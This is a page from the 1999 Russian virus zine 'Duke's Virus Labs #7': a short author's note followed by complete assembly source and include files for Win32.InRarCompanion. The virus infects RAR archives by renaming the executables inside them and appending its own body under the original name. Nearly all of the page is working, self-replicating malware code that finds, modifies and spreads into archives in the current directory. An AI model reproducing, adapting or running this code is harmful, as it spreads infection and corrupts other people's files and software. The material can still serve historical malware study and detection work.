- [Duke's Virus Labs #7] - [Page 34] - Win32.InRarCompanion ~~~ by FRiZER`99 ~~~ Вирус, поражающий файлы методом companion в архивах RAR. При заражении ищет в архиве подходящий файл (.exe), запоминает его заголовок и меняет расширение. Потом, используя запомненный заголовок, дописывает его в конец архива, после чего собирает вирус из его кусков памяти и дописывает после заголовка. Архивы RAR ищет в текущем каталоге. Т.о. вирус заражает файл в архиве методом "companion". При небольшом кол-ве кода такой способ подходит. Ну а в эру Win32 exeшники в архивах скорее всего - дистрибутивы а-ля setup.exe. Вирус у меня как обычно только всего-лишь демонстрирует технологию - что с этим делать дальше - вам решать. Под WinNT он почему-то косячит :( На монстроидальный размер не смотрите - там иконка больше половины занимает ;) Rest in Peace. FRiZER 07.07.99 ===== begin rar32inf.asm ===== ideal p586 model flat INVALID_HANDLE_VALUE = 0 - 1 MB_OK = 00000000h OPEN_EXISTING = 00000003h FILE_SHARE_READ = 00000001h FILE_SHARE_WRITE = 00000002h GENERIC_READ = 80000000h GENERIC_WRITE = 40000000h PAGE_READWRITE = 00000004h FILE_MAP_WRITE = 00000002h include "winprocs.inc" include "struc.inc" vsize equ 3000h ; размер вируса ??? virext equ 'DSM.' ; на что меняется .EXE runext equ 'EXE.' ; расширение заражаемый файлов minsize equ 200000 ; min размер заражаемого архива maxinfc equ 3 ; max кол-во заражений за раз dataseg CRC_Table db 1024 dup (0) DTA db size FindData dup (0) StartupInfo dd 40h ; dd 40h dup (0) ; для CreateProcess ProcInfo dd 4 dup (0) ; hFindFile dd 0 ; описатель поиска hFile dd 0 ; описатель файла hFileM dd 0 ; описатель проекции hFileMV dd 0 FileSize dd 0 ; размер файла RarHdrOfs dd 0 ; смещение нужного заголовка в архиве szCaption db 'MuStDiE',0 szText db 'Win32.InRarCompanion by FRiZER`99',13,10 db 'mailto:v666x@mail.ru',0 msk db '*.rar', 0 ; маска файлов InfCount dw 0 ; счетчик заражений codeseg Start: ; [ запустим носителя ] ----------------------------------------------------- call GetCommandLineA ; получения адреса коммандной строки mov edi, eax xchg eax, ebx ; запомним в ebx mov ecx, 0FFh ; длина командной строки cld scan_cmd: mov eax, '.' ; найдем '.' repnz scasb ; ищем jne Myxa_Not_Found ; не нашли - выведем msgbox mov eax, [dword edi-1] ; eax - расширение файла and eax, not 20202000h ; приведем к верхнему регистру cmp eax, runext ; нашли .EXE ? jne scan_cmd ; нет - ищем дальше mov [dword edi-1], virext ; меняем расширение push offset ProcInfo push offset StartupInfo push 0 0 0 0 0 0 push ebx ; имя запускаемой программы push 0 call CreateProcessA ; запускаем носителя test eax, eax ; удачно запустили? jnz BeginVir ; да - пусть работает вирус Myxa_Not_Found: ; нет - выведем msgbox push MB_OK push offset szCaption push offset szText push 0 call MessageBoxA BeginVir: mov [InfCount], 0 ; обнуляем счетчик заражений ; [ создание таблицы для подсчета CRC ] ------------------------------------- lea edi, [CRC_Table+1020] mov ebp, 0FFh std thloop: mov ecx, 8 mov eax, ebp tlloop: shr eax, 1 jnc cf0 xor eax, 0EDB88320h cf0: loop tlloop stosd dec bp jnz thloop xchg eax, ebp stosd ; [ поиск первого файла из *.rar ] ------------------------------------------ push offset DTA ; структура поиска push offset msk ; ofs маски файла call FindFirstFileA ; ищем первый подходящий файл cmp eax, INVALID_HANDLE_VALUE ; обломили? je EndFind ; да - запустим носителя mov [hFindFile], eax ; нет - сохраним описатель CheckRar: ; обработаем найденый файл ; [ открываем файл ] -------------------------------------------------------- ; mov ebp, esp ; ebp - ofs заполненной структуры push 0 ; файл-пример атрибутов push 0 ; аттрибуты файла - не нужны push OPEN_EXISTING ; открываем существующий файл push 0 ; установка защиты по умолчанию push FILE_SHARE_READ or FILE_SHARE_WRITE ; тип совместного доступа push GENERIC_READ or GENERIC_WRITE ; способ доступа к файлу lea ebp, [(FindData DTA).FileName] push ebp ; ofs имени файла call CreateFileA ; откроем файл cmp eax, INVALID_HANDLE_VALUE ; обломили с открытием? je FindNext ; да - ищем следующий mov [hFile], eax ; нет - сохраним описатель xchg eax, ebx ; для CreateFileMappingA ; [ узнаем размер открытого файла ] ----------------------------------------- push offset FileSize ; куда пойдет старшая часть размера push ebx ; описатель файла call GetFileSize ; получим размер mov [FileSize], eax ; сохранием размер cmp eax, minsize ; размер файла > minsize jbe Close_hFile ; нет - найдем другой ; [ создаем проекцию файла ] ------------------------------------------------ push 0 ; имя проекции (не требуется) push 0 ; low-часть размера push 0 ; high-часть/ 0 - текущий размер push PAGE_READWRITE ; можно считывать и записывать push 0 ; установка защиты по умолчанию push ebx ; описатель файла call CreateFileMappingA ; создадим проекцию файла test eax, eax ; обломили? jz Close_hFile ; да - закроем файл и найдем другой mov [hFileM], eax ; push eax ; ; [ проецируем файловые данные на адресное пространство процесса ] ---------- push 0 ; проецировать весь файл push 0 ; low-part -, смещения с которого push 0 ; high-part/ начинать проецировать push FILE_MAP_WRITE ; можно считывать и записывать push eax ; описатель проекции файла call MapViewOfFile ; проецируем test eax, eax ; обломили? jz Close_hFileM ; да - закроем описатель проекции... mov [hFileMV], eax xchg eax, ebx ; ebx - начало RAR архива ; [ обрабатываем файл ] ----------------------------------------------------- cmp [dword ebx], '!raR' ; файл действительно архив RAR? jne bad_rar ; нет - пойдем искать следующий add ebx, 7 ; следующий блок mov ax, [(rar ebx).head_flags] test al, 2Dh ; подходит ли архив для заражения jnz bad_rar ; нет - поищем другой ; [ проверка на окончание файла ] ------------------------------------------- check_block: mov eax, ebx add eax, [FileSize] ; eax - ofs после проекции файла cmp ebx, eax ; ebx - еще его не достигла? jae bad_rar ; да - пойдем искать следующий ; [ проверка блока на заголовок файла ] ------------------------------------- cmp [(rar ebx).head_type], 74h ; заголовок файла? je check_if_exe ; да - проверим EXE ли это ; [ переход к следующему блоку ] -------------------------------------------- next_block: movzx eax, [(rar ebx).head_size] ; eax - размер заголовка add ebx, [(rar ebx).pack_size] add ebx, eax ; ebx - начало следующего блока jmp check_block ; поехали опять проверять ; [ проверка расширения найденного в архиве файла на EXE ] ------------------ check_if_exe: lea ebp, [(rar ebx).file_name] ; ebp - ofs имени файла movzx eax, [(rar ebx).name_size] ; eax - длинна имени add ebp, eax ; ebp - ofs после имени файла mov eax, [ebp-4] ; eax - расширение файла and eax, not 20202000h ; приведем к верхнему регистру cmp eax, virext ; архив уже заражен? je bad_rar ; да - найдем другой cmp eax, runext ; это EXE-файл? jne next_block ; нет - будем искать... mov [dword ebp-4], virext ; поменяем расширение файла ; [ подсчет CRC измененного заголовка ] ------------------------------------- lea esi, [ebx+2] ; откуда считать CRC movzx ecx, [(rar ebx).head_size] ; размер заголовка dec ecx dec ecx ; ecx - размер заголовка без CRC call clc_crc ; подсчитаем CRC - вернется в ecx mov [ebx], cx ; запишем CRC в заголовок movzx eax, [(rar ebx).head_size] ; размер заголовка add eax, vsize ; eax - размер заголовка с вирусом add eax, [FileSize] ; длина архива с дописаным вирусом xchg eax, ebx ; ebx - длина архива "с вирусом" sub eax, [hFileMV] ; eax - смещение заражаемого файла ; от начала архива mov [RarHdrOfs], eax ; сохраним его ; [ отключим файл и закроем проекцию ] -------------------------------------- push [hFileMV] call UnmapViewOfFile ; отключим файл от процесса push [hFileM] call CloseHandle ; закроем проекцию файла ; [ опять создадим проекцию и спроецируем файл ] ---------------------------- push 0 ; имя проекции (не требуется) push ebx ; low-часть размера push 0 ; high-часть/ 0 - текущий размер push PAGE_READWRITE ; можно считывать и записывать push 0 ; установка защиты по умолчанию push [hFile] ; описатель файла call CreateFileMappingA ; создадим проекцию файла test eax, eax ; обломили? jz Close_hFile ; да - закроем файл и найдем другой mov [hFileM], eax push 0 ; проецировать весь файл push 0 ; low-part -, смещения с которого push 0 ; high-part/ начинать проецировать push FILE_MAP_WRITE ; можно считывать и записывать push eax ; описатель проекции файла call MapViewOfFile ; проецируем test eax, eax ; обломили? jz Close_hFileM ; да - закроем описатель проекции... mov [hFileMV], eax xchg eax, ebx ; [ перепишем заголовок и тело вируса в конец архива ] ---------------------- mov edi, [FileSize] add edi, ebx ; edi - куда писать заголовок add ebx, [RarHdrOfs] ; ebx - ofs заголовка movzx ecx, [(rar ebx).head_size] ; ecx - размер заголовка mov esi, ebx ; откуда писать cld mov ebx, edi ; ebx - ofs переписанного заголовка rep movsb ; переписываем заголовок push edi ; запомним ofs после заголовка push 0 call GetModuleHandleA mov esi, eax ; esi - начало файла вируса в памяти ; [ НЕуниверсальный способ создания дампа - только для этого вируса ] ------- macro movd len mov ecx, len/4 rep movsd add esi, 1000h-len endm movd 600h movd 400h movd 800h movd 200h movd 200h mov ecx, 1A00h/4 rep movsd ; [ формирование блока с вирусом в rar'е ] ---------------------------------- pop esi ; esi - начало dump'а вируса в rar'е mov ecx, vsize ; ecx - размер ^^^^^^^^^^^^^^^^^^^^^ mov [(rar ebx).pack_size], vsize ; поменяем размер в заголовке mov [(rar ebx).unp_size], vsize mov [(rar ebx).method], 30h ; поменяем метод на store call clc_crc ; подсчитаем CRC файла mov [(rar ebx).file_crc], ecx ; запишем CRC файла в заголовок lea ebp, [(rar ebx).file_name] ; ebp - ofs имени файла movzx eax, [(rar ebx).name_size] ; eax - длинна имени add ebp, eax ; ebp - ofs после имени файла mov [dword ebp-4], runext ; поменяем расширение файла lea esi, [ebx+2] ; откуда считать CRC movzx ecx, [(rar ebx).head_size] ; размер заголовка dec ecx dec ecx ; ecx - размер заголовка без CRC call clc_crc ; подсчитаем CRC - вернется в ecx mov [ebx], cx ; запишем CRC в заголовок inc [InfCount] ; увеличили счетчик заражений ; [ отключим файл данных от адресного пространства процесса ] --------------- bad_rar: push [hFileMV] call UnmapViewOfFile ; [ закроем проекцию файла ] ------------------------------------------------ Close_hFileM: push [hFileM] call CloseHandle ; [ закроем файл ] ---------------------------------------------------------- Close_hFile: push [hFile] call CloseHandle ; [ найдем следующий файл ] ------------------------------------------------- FindNext: cmp [InfCount], maxinfc jae EndFind push offset DTA push [hFindFile] call FindNextFileA cmp eax, 0 jne CheckRar ; [ закроем описатель поиска ] ---------------------------------------------- EndFind: push [hFindFile] call FindClose ; [ завершаем работу вируса ] ----------------------------------------------- Exit_Process: push 0 call ExitProcess ; завершаемся ; [ подсчет CRC региона, начиная с esi, размером ecx ] ---------------------- clc_crc: cld push ebx lea edi, [CRC_Table] ; edi - начало CRC_Table mov ebp, ecx ; ebp - длинна региона mov ecx, 0FFFFFFFFh c_loop: xor eax, eax lodsb mov ebx, eax xor bl, cl shr ecx, 8 shr eax, 8 shl eax, 8*3 or ecx, eax shl ebx, 2 xor ecx, [edi+ebx] dec ebp jnz c_loop not ecx pop ebx ret end Start ===== end rar32inf.asm ===== ===== begin struc.inc ===== struc rar ; структура RAR-архива head_crc dw ? ; CRC полей от HEAD_TYPE head_type db ? ; Тип заголовка head_flags dw ? ; Битовые флаги head_size dw ? ; Полный размер заголовка файла, ; включая имя файла и комментарии pack_size dd ? ; Размер файла в архиве (сжатый) unp_size dd ? ; Размер исходного файла (несжатый) host_os db ? ; Использованная при архивировании OS file_crc dd ? ; CRC файла file_time dd ? ; Дата и время в формате MS-DOS unp_ver db ? ; Версия RAR для извлечения файла method db ? ; Метод сжатия name_size dw ? ; Размер имени файла attr dd ? ; Атрибуты файла file_name db ? ; Имя файла ; (строка размером NAME_SIZE байт) ends rar struc FindData FileAttributes dd ? CreationTime dd ?,? LastAccessTime dd ?,? LastWriteTime dd ?,? FileSizeHigh dd ? FileSizeLow dd ? Reserved0 dd ? Reserved1 dd ? FileName db 0FFh dup (?) AltFileName db 0Eh dup (?) ends FindData ===== end struc.inc ===== ===== begin winprocs.inc ===== PROCTYPE ptGetCommandLine stdcall PROCTYPE ptCreateProcess stdcall \ lpApplicationName :dword, \ pointer to name of executable module lpCommandLine :dword, \ pointer to command line string lpProcessAttributes :dword, \ pointer to process security attributes lpThreadAttributes :dword, \ pointer to thread security attributes bInheritHandles :word, \ handle inheritance flag dwCreationFlags :dword, \ creation flags lpEnvironment :dword, \ pointer to new environment block lpCurrentDirectory :dword, \ pointer to current directory name lpStartupInfo :dword, \ pointer to STARTUPINFO lpProcessInformation :dword ; pointer to PROCESS_INFORMATION PROCTYPE ptFindFirstFile stdcall \ lpFileName :dword, \ pointer to name of file to search for lpFindFileData :dword ; pointer to returned information PROCTYPE ptCreateFile stdcall \ lpFileName :dword, \ pointer to name of the file dwDesiredAccess :dword, \ access (read-write) mode dwShareMode :dword, \ share mode lpSecurityAttributes :dword, \ pointer to security descriptor dwCreationDistribution :dword, \ how to create dwFlagsAndAttributes :dword, \ file attributes hTemplateFile :dword ; handle to file with attributes to copy PROCTYPE ptGetFileSize stdcall \ hFile :dword, \ handle of file to get size of lpFileSizeHigh :dword ; address of high-order word for file size PROCTYPE ptCreateFileMapping stdcall \ hFile :dword, \ handle to file to map lpFileMappingAttributes :dword, \ optional security attributes flProtect :dword, \ protection for mapping object dwMaximumSizeHigh :dword, \ high-order 32 bits of object size dwMaximumSizeLow :dword, \ low-order 32 bits of object size lpName :dword ; name of file-mapping object PROCTYPE ptMapViewOfFile stdcall \ hFileMappingObject :dword, \ file-mapping object to map into address space dwDesiredAccess :dword, \ access mode dwFileOffsetHigh :dword, \ high-order 32 bits of file offset dwFileOffsetLow :dword, \ low-order 32 bits of file offset dwNumberOfBytesToMap :dword ; number of bytes to map PROCTYPE ptUnmapViewOfFile stdcall \ lpBaseAddress :dword ; address where mapped view begins PROCTYPE ptCloseHandle stdcall \ handle :dword PROCTYPE ptGetModuleHandle stdcall \ lpModuleName :dword PROCTYPE ptFindNextFile stdcall \ hFindFile :dword, \ handle to search lpFindFileData :dword ; pointer to structure for data on found file PROCTYPE ptFindClose stdcall \ hFindFile :dword ; file search handle PROCTYPE ptExitProcess stdcall \ uExitCode :dword ; exit code for all threads PROCTYPE ptMessageBox stdcall \ hWnd :dword, \ handle of owner window lpText :dword, \ address of text in message box lpCaption :dword, \ address of title of message box uType :dword ; style of message box extrn GetCommandLineA :ptGetCommandLine extrn CreateProcessA :ptCreateProcess extrn FindFirstFileA :ptFindFirstFile extrn CreateFileA :ptCreateFile extrn GetFileSize :ptGetFileSize extrn CreateFileMappingA :ptCreateFileMapping extrn MapViewOfFile :ptMapViewOfFile extrn UnmapViewOfFile :ptUnmapViewOfFile extrn CloseHandle :ptCloseHandle extrn GetModuleHandleA :ptGetModuleHandle extrn FindNextFileA :ptFindNextFile extrn FindClose :ptFindClose extrn ExitProcess :ptExitProcess extrn MessageBoxA :ptMessageBox ===== end winprocs.inc =====